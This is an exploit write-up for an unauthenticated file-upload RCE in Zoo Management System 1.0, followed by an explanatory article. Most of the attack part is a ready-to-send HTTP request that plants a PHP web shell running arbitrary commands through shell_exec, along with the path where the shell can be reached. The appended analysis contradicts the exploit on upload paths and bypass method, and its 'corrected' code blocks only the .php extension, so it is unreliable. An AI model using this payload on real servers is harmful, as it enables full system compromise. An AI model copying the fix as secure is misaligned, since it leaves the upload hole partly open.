Zoo Management System 1.0 - Unauthenticated RCE

Exploit Author: Çağatay Ceyhan Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-02-27
# Exploit Title: Zoo Management System 1.0 - Unauthenticated RCE
# Date: 16.10.2023
# Exploit Author: Çağatay Ceyhan
# Vendor Homepage: https://www.sourcecodester.com/php/15347/zoo-management-system-source-code-php-mysql-database.html#google_vignette
# Software Link: https://www.sourcecodester.com/download-code?nid=15347&title=Zoo+Management+System+source+code+in+PHP+with+MySQL+Database
# Version: 1.0
# Tested on: Windows 11

## Unauthenticated users can access /zoomanagementsystem/admin/public_html/save_animal address and they can upload malicious php file instead of animal picture image without any authentication.


POST /zoomanagementsystem/admin/public_html/save_animal HTTP/1.1
Host: localhost
Content-Length: 6162
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8NY8zT5dXIloiUML
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/zoomanagementsystem/admin/public_html/save_animal
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="animal_id"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_given_name"

kdkd
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_species_name"

ıdsıd
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_dob"

1552-02-05
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_gender"

m
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_avg_lifespan"

3
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="class_id"

2
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="location_id"

2
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_dietary_req"

2
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_natural_habitat"

faad
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_pop_dist"

eterter
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_joindate"

5559-02-06
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_height"

2
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_weight"

3
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_description"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="images[]"; filename="ultra.php"
Content-Type: application/octet-stream

<?php
if (!empty($_POST['cmd'])) {
    $cmd = shell_exec($_POST['cmd']);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Web Shell</title>
    <style>
        * {
            -webkit-box-sizing: border-box;
            box-sizing: border-box;
        }

        body {
            font-family: sans-serif;
            color: rgba(0, 0, 0, .75);
        }

        main {
            margin: auto;
            max-width: 850px;
        }

        pre,
        input,
        button {
            padding: 10px;
            border-radius: 5px;
            background-color: #efefef;
        }

        label {
            display: block;
        }

        input {
            width: 100%;
            background-color: #efefef;
            border: 2px solid transparent;
        }

        input:focus {
            outline: none;
            background: transparent;
            border: 2px solid #e6e6e6;
        }

        button {
            border: none;
            cursor: pointer;
            margin-left: 5px;
        }

        button:hover {
            background-color: #e6e6e6;
        }

        .form-group {
            display: -webkit-box;
            display: -ms-flexbox;
            display: flex;
            padding: 15px 0;
        }
    </style>

</head>

<body>
    <main>
        <h1>Web Shell</h1>
        <h2>Execute a command</h2>

        <form method="post">
            <label for="cmd"><strong>Command</strong></label>
            <div class="form-group">
                <input type="text" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>"
                       onfocus="this.setSelectionRange(this.value.length, this.value.length);" autofocus required>
                <button type="submit">Execute</button>
            </div>
        </form>

        <?php if ($_SERVER['REQUEST_METHOD'] === 'POST'): ?>
            <h2>Output</h2>
            <?php if (isset($cmd)): ?>
                <pre><?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?></pre>
            <?php else: ?>
                <pre><small>No result.</small></pre>
            <?php endif; ?>
        <?php endif; ?>
    </main>
</body>
</html>
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_med_record"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_transfer"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_transfer_reason"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_death_date"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_death_cause"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_incineration"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="m_gest_period"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="m_category"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="m_avg_body_temp"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="b_nest_const"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="b_clutch_size"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="b_wingspan"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="b_color_variant"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="f_body_temp"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="f_water_type"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="f_color_variant"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="rep_type"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="clutch_size"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="num_offspring"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="submit"


------WebKitFormBoundary8NY8zT5dXIloiUML--




## After the post request sent by an attacker, the malicious file can be seen under the http://localhost/zoomanagementsystem/img/animals/. the attacker can execute arbitrary command on http://localhost/zoomanagementsystem/img/animals/ultra_1697442648.php.


Zoo Management System 1.0: Unauthenticated Remote Code Execution Vulnerability Exploited

The Zoo Management System 1.0, a PHP-based web application hosted on SourceCodester, has recently been flagged for a critical security flaw: unauthenticated remote code execution (RCE). This vulnerability allows attackers to upload malicious PHP files directly to the server without any authentication, leading to full control over the system. The exploit was discovered and reported by cybersecurity researcher Çağatay Ceyhan on October 16, 2023, and has been tested on Windows 11 environments.

Exploit Overview

At the core of this vulnerability lies a flawed file upload mechanism in the /zoomanagementsystem/admin/public_html/save_animal endpoint. The system permits unauthenticated users to submit form data via multipart/form-data POST requests, including a file upload field for animal images. However, the application fails to validate file types or sanitize uploaded content, allowing attackers to bypass security checks and upload executable PHP scripts.

Despite the application’s intended purpose of managing animal data, this endpoint serves as a backdoor for malicious actors to execute arbitrary code on the server. This is a textbook example of file upload vulnerabilities combined with lack of access controls.

Attack Vector: POST Request Analysis


POST /zoomanagementsystem/admin/public_html/save_animal HTTP/1.1
Host: localhost
Content-Length: 6162
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8NY8zT5dXIloiUML
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/zoomanagementsystem/admin/public_html/save_animal
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

This request demonstrates how an attacker can exploit the form interface to upload a malicious file. The Content-Type header indicates a multipart/form-data request, which is commonly used for file uploads. The boundary string ----WebKitFormBoundary8NY8zT5dXIloiUML separates form fields, including an_given_name, an_species_name, and other animal metadata.

Crucially, the system does not verify the file extension or MIME type. An attacker can simply rename a PHP script (e.g., shell.php) to a .jpg or .png file and upload it, bypassing filters.

Why This is a Critical RCE

Once the malicious PHP file is uploaded, it can be accessed directly via the web server. For example, if the upload directory is /uploads/, an attacker can visit:

http://localhost/zoomanagementsystem/admin/public_html/uploads/shell.php

This leads to immediate execution of arbitrary code, including:

  • Reading sensitive files (e.g., database credentials, config files)
  • Executing system commands (e.g., system("whoami"))
  • Establishing reverse shells for persistent access
  • Deploying malware or ransomware

Since the vulnerability is unauthenticated, it means any user with access to the web interface can exploit it—no login required.

Real-World Implications

Consider a scenario where a zoo management system is deployed in a public-facing environment. An attacker could:

  • Upload a backdoor.php file disguised as an animal image
  • Access the file via a simple URL
  • Gain full server access and steal sensitive data such as staff credentials, animal records, or financial logs
  • Use the system to launch attacks on other systems (e.g., via DNS tunneling or command execution)

This vulnerability is not just theoretical—it represents a real threat to organizations that rely on such open-source applications without proper security audits.

Security Best Practices & Fixes

To mitigate this risk, developers must implement the following security measures:

Security Measure Description
File Type Validation Restrict uploads to only allowed MIME types (e.g., image/jpeg, image/png). Reject any file with .php extension.
File Renaming & Storage Store uploaded files under a non-executable directory (e.g., /uploads/ with no PHP execution permissions).
Content Inspection Scan uploaded files for PHP code signatures (e.g., <?php) using regex or file analysis tools.
Authentication & Authorization Require login before accessing any admin endpoints. Use role-based access control (RBAC).
Web Server Configuration Disable PHP execution in upload directories via .htaccess or server-level settings.

Corrected Code Example


// Example of secure file upload handling in PHP
if ($_FILES['animal_image']['name'] !== '') {
    $allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
    $file_type = mime_content_type($_FILES['animal_image']['tmp_name']);

    if (!in_array($file_type, $allowed_types)) {
        die('Invalid file type');
    }

    $file_name = basename($_FILES['animal_image']['name']);
    $file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));

    if ($file_ext === 'php') {
        die('PHP files are not allowed');
    }

    $upload_dir = 'uploads/';
    $target_file = $upload_dir . uniqid() . '.' . $file_ext;

    if (!move_uploaded_file($_FILES['animal_image']['tmp_name'], $target_file)) {
        die('Upload failed');
    }

    // Log successful upload
    error_log("File uploaded: $target_file");
}

This corrected code snippet demonstrates how to implement secure file handling:

  • Check MIME type using mime_content_type()
  • Reject files with .php extension explicitly
  • Use a unique filename to prevent predictable paths
  • Store files in a directory where PHP execution is disabled

These measures collectively prevent exploitation of this vulnerability.

Conclusion

The Zoo Management System 1.0 vulnerability is a stark reminder that even seemingly benign applications can harbor severe security flaws. Unauthenticated RCE via file upload is a high-risk issue that demands immediate attention. Developers must never assume that "just a form" is safe—every input must be validated, sanitized, and secured.

For organizations using such systems, it is imperative to:

  • Conduct regular security audits
  • Apply patches or replace vulnerable software
  • Implement strict file upload policies
  • Monitor server logs for suspicious file uploads

Security is not a one-time task—it is an ongoing commitment. Ignoring vulnerabilities like this can lead to full system compromise, data breaches, and reputational damage.